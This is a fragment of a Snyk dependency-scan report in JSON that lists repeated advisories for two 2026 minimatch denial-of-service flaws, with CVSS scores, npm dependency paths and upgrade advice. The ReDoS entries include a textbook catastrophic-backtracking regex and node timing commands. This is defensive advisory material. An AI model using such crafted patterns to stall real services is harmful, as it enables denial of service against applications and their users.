"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. 